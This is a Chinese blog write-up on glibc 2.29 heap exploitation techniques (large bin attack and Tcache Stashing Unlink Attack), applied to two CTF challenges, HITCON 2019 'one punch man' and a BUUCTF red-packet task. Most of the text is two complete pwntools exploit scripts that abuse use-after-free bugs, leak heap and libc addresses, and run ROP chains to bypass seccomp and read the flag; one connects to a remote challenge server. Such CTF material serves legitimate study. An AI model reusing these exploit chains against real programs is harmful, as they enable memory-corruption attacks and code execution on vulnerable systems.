登录后台

页面导航

本文编写于 286 天前,最后修改于 93 天前,其中某些信息可能已经过时。

large bin attach

http://blog.eonew.cn/archives/1248

在2.29之中,加入了对unsorted bin的检查,导致unsorted bin失效。unsorted bin attack 的原理是利用 unsorted bin 在解链时,对 fd 指针的操作,直接的作用就是可以任意地址写入一个 main_arena 地址值,非常好用的攻击方法。

2.29可以利用large bin进行攻击,large bin attach主要发生在 large bin 的 nextsize 成环时,没有对其进行检查,所以只要存在 UAF 漏洞,就能修改 nextsize 指针进行任意地址写入 chunk 地址的操作。

源码解析参照ex师傅的博客

初步理解为程序必须存在UAF漏洞,然后伪造fake_chunk的bk_nextsize,由于没有经过检查,系统会将这个假的地址插入到链上,我们就可以申请我们伪造的这个地址,感觉有点似曾相识...

有两点注意:
1.两个chunk的大小不能相同;
2.large bin 的 fd_nextsize 需要设置为0

Tcache Stashing Unlink Attack

https://www.anquanke.com/post/id/198173#h2-0

House of Lore:修改small bin的fd指针

Tcache Stashing Unlink Attack也是利用了Smallbin的相关分配机制进行的攻击,与House of Lore类似,如果此处我们能够控制 small bin 的最后一个 chunk 的 bk 为我们想要写入的内存地址,并且保证__glibc_unlikely( bck->fd != victim )检查通过就可以在small bin中加入我们想加入的Chunk,进而在内存的任意地址分配一个Chunk!

攻击前提:

1.能控制 Small Bin Chunk 的 bk 指针。
2.程序可以越过Tache取Chunk。
3.程序至少可以分配两种不同大小且大小为unsorted bin的Chunk

calloc函数有一个很有趣的特性,它不会从Tcache拿Chunk!!

具体原理解析安全客的那篇文章讲的很细

两道练习题

https://xz.aliyun.com/t/7192#toc-1

下面两道题各有两种解法,第一道题我使用large bin attach,第二道使用Tcache Stashing Unlink Attack

Hitcon 2019 one punch man

有沙箱保护

line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL

依次调用open->read->write函数输入flag

存在UAF漏洞

void __fastcall delete(__int64 a1, __int64 a2)
{
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  puts_data("idx: ");
  v2 = get_num();
  if ( v2 > 2 )
    error("invalid");
  free(*(&heap_list + 2 * v2));
}

heap和libc的地址比较好泄露,这道题大致学了一下有沙箱的堆题的利用

balse战队的exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = '52.198.120.1'
port = 48763

r = process('./one_punch')

binary = "./one_punch"
context.binary = binary
elf = ELF(binary)
try:
    libc = ELF("./libc-2.29.so")
    log.success("libc load success")
    system_off = libc.symbols.system
    log.success("system_off = "+hex(system_off))
except:
    log.failure("libc not found !")

def name(index, name):
    r.recvuntil("> ")
    r.sendline("1")
    r.recvuntil(": ")
    r.sendline(str(index))
    r.recvuntil(": ")
    r.send(name)
    pass

def rename(index,name):
    r.recvuntil("> ")
    r.sendline("2")
    r.recvuntil(": ")
    r.sendline(str(index))
    r.recvuntil(": ")
    r.send(name)

    pass

def d(index):
    r.recvuntil("> ")
    r.sendline("4")
    r.recvuntil(": ")
    r.sendline(str(index))
    pass

def show(index):
    r.recvuntil("> ")
    r.sendline("3")
    r.recvuntil(": ")
    r.sendline(str(index))

def magic(data):
    r.recvuntil("> ")
    r.sendline(str(0xc388))
    time.sleep(0.1)
    r.send(data)

# if len(sys.argv) == 1:
#   r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})

# else:
#   r = remote(host ,port)

if __name__ == '__main__':
    name(0,"A"*0x210)
    d(0)
    name(1,"A"*0x210)
    d(1)
    show(1)
    r.recvuntil(" name: ")
    heap = u64(r.recv(6).ljust(8,"\x00")) - 0x260
    print("heap = {}".format(hex(heap)))
    for i in xrange(5):
    name(2,"A"*0x210)
    d(2)
    name(0,"A"*0x210)
    name(1,"A"*0x210)
    d(0)
    show(0)
    r.recvuntil(" name: ")
    libc = u64(r.recv(6).ljust(8,"\x00")) - 0x1e4ca0
    print("libc = {}".format(hex(libc)))
    d(1)
    rename(2,p64(libc + 0x1e4c30))

    name(0,"D"*0x90)
    d(0)
    for i in xrange(7):
    name(0,"D"*0x80)
    d(0)
    for i in xrange(7):
    name(0,"D"*0x200)
    d(0)



    name(0,"D"*0x200)
    name(1,"A"*0x210)
    name(2,p64(0x21)*(0x90/8))
    rename(2,p64(0x21)*(0x90/8))
    d(2)
    name(2,p64(0x21)*(0x90/8))
    rename(2,p64(0x21)*(0x90/8))
    d(2)



    d(0)
    d(1)
    name(0,"A"*0x80)
    name(1,"A"*0x80)
    d(0)
    d(1)
    name(0,"A"*0x88 + p64(0x421) + "D"*0x180 )
    name(2,"A"*0x200)
    d(1)
    d(2)
    name(2,"A"*0x200)
    rename(0,"A"*0x88 + p64(0x421) + p64(libc + 0x1e5090)*2 + p64(0) + p64(heap+0x10) )
    d(0)
    d(2)

    pause()
    name(0,"/home/ctf/flag\x00\x00" + "A"*0x1f0)
    magic("A")
    add_rsp48 = libc + 0x000000000008cfd6
    pop_rdi = libc + 0x0000000000026542
    pop_rsi = libc + 0x0000000000026f9e
    pop_rdx = libc + 0x000000000012bda6
    pop_rax = libc + 0x0000000000047cf8
    syscall = libc + 0xcf6c5
    magic( p64(add_rsp48))

    name(0,p64(pop_rdi) + p64(heap + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall) +
      p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall) +
      p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(1) + p64(syscall)
      )
r.interactive()

BUUCTF 新春红包赛

这道题和上面那道类似:存在UAF漏洞,也有后门

大佬们大显神通,用到了unlink,large bin attack,Tcache Stashing Unlink Attack等方法

这道题也用到了calloc,后门函数用来我们执行rop链获取flag

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x07 0x00 0x40000000  if (A >= 0x40000000) goto 0011
 0004: 0x15 0x06 0x00 0x0000003b  if (A == execve) goto 0011
 0005: 0x15 0x00 0x04 0x00000001  if (A != write) goto 0010
 0006: 0x20 0x00 0x00 0x00000024  A = count >> 32 # write(fd, buf, count)
 0007: 0x15 0x00 0x02 0x00000000  if (A != 0x0) goto 0010
 0008: 0x20 0x00 0x00 0x00000020  A = count # write(fd, buf, count)
 0009: 0x15 0x01 0x00 0x00000010  if (A == 0x10) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

add功能里对chunk的大小是固定的,最多申请0x1c个chunk,只能edit一次

进入后门需要满足三个条件其中一个

ssize_t magic()
{
  char buf; // [rsp+0h] [rbp-80h]

  if ( *(ptr + 0x800) <= 0x7F0000000000LL || *(ptr + 0x7F8) || *(ptr + 0x808) )
    fail();
  puts("You get red packet!");
  printf("What do you want to say?");
  return read(0, &buf, 0x90uLL);
}

按照文章的思路浮现了一遍,贴上这位师傅的exp

exp:

#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 0
elf = ELF('./pwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
libc = ELF('libc-2.29.so')
if debug:

    p = process('./pwn')

else:
    p = remote('node3.buuoj.cn',26926)

map_1 ={"0x10":"1","0xf0":"2","0x300":"3","0x400":"4"}

def Add(idx,size,content):
    p.recvuntil('Your input: ')
    p.sendline('1')
    p.recvuntil("Please input the red packet idx: ")
    p.sendline(str(idx))
    p.recvuntil("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ")
    p.sendline(map_1[hex(size)])
    p.recvuntil("Please input content: ")
    p.send(content)

def Show(idx):
    p.recvuntil('Your input: ')
    p.sendline('4')
    p.recvuntil("Please input the red packet idx: ")
    p.sendline(str(idx))

def Delete(idx):
    p.recvuntil('Your input: ')
    p.sendline('2')
    p.recvuntil("Please input the red packet idx: ")
    p.sendline(str(idx))

def Edit(idx,content):
    p.recvuntil('Your input: ')
    p.sendline('3')
    p.sendlineafter("Please input the red packet idx: ",str(idx))
    p.recvuntil("Please input content: ")
    p.send(content)

def Suprise(content):
    p.recvuntil('Your input: ')
    p.sendline('666')
    p.sendafter("What do you want to say?",content)



def exp():
    #leak heap
    for i in range(0,13):
        Add(i,0x400,str(i))
    for i in range(6):
        Add(13,0xf0,str(13))
        Delete(13)

    Delete(0)
    Delete(1)
    Show(1)
    #leak heap
    heap_base = u64(p.recvline().strip("\n").ljust(8,"\x00")) - (0xa270-0x9000)
    log.success("[*]heap base => " + hex(heap_base))
    #leak libc
    for i in range(2,8):
        Delete(i)
    Show(7)
    libc_base = u64(p.recvline().strip('\n').ljust(8,"\x00")) - (0x7ffff7fb4ca0-0x7ffff7dd0000)
    log.success("libc base => " + hex(libc_base))
    libc.address = libc_base
    p_rdi = libc_base + 0x0000000000026542
    p_rsi = libc_base + 0x0000000000026f9e
    p_rdx = libc_base + 0x000000000012bda6
    p_rax = libc_base + 0x0000000000047cf8
    syscall = libc_base + 0x00000000000cf6c5
    leave_ret = libc_base + 0x0000000000058373
    #
    #add 6 bins to tcache[0x100]
    #for i in range(8,13):
    #    Delete(i)

    Add(0,0x300,"0")#cut 0x410->0x310+0x100
    Add(1,0x300,"1")#put 0x100 to small bin in order to be in tcache



    Delete(9)#7 & 9
    Add(2,0x300,"2")
    Add(3,0x300,"3")
    #now we write sth

    rop_heap = heap_base+(0x55555555c700-0x555555559000)
    #open
    rops = "/flag\x00\x00\x00"
    rops += p64(p_rdi)+p64(rop_heap)
    rops += p64(p_rsi)+p64(0)
    rops += p64(p_rdx)+p64(0)
    rops += p64(p_rax)+p64(2)
    rops += p64(syscall)
    #rops += p64(libc.sym['open'])
    #read
    rops += p64(p_rdi)+p64(3)
    rops += p64(p_rsi)+p64(heap_base+0x260)
    rops += p64(p_rdx)+p64(0x30)
    rops += p64(p_rax)+p64(0)
    rops += p64(syscall)
    #rops += p64(libc.sym['read'])
    #write
    rops += p64(p_rdi)+p64(1)
    rops += p64(p_rsi)+p64(heap_base+0x260)
    rops += p64(p_rdx)+p64(0x30)
    rops += p64(p_rax)+p64(1)
    rops += p64(syscall)
    #rops += p64(libc.sym['write'])
    rops = rops.ljust(0x300,'\x00')
    Edit(9,rops+p64(0)+p64(0x101)+p64(heap_base+(0x000055555555c1e0-0x555555559000))+p64(heap_base+(0x555555559a60-0x555555559000)-0x10))


    #gdb.attach(p,'b* 0x0000555555554000 + 0x144d')
    Add(0,0xf0,"1")#put 0x100 to small bin in order to be in tcache
    #now we rop

    payload = "a"*0x80+p64(rop_heap)+p64(leave_ret)
    Suprise(payload)

    p.interactive()

exp()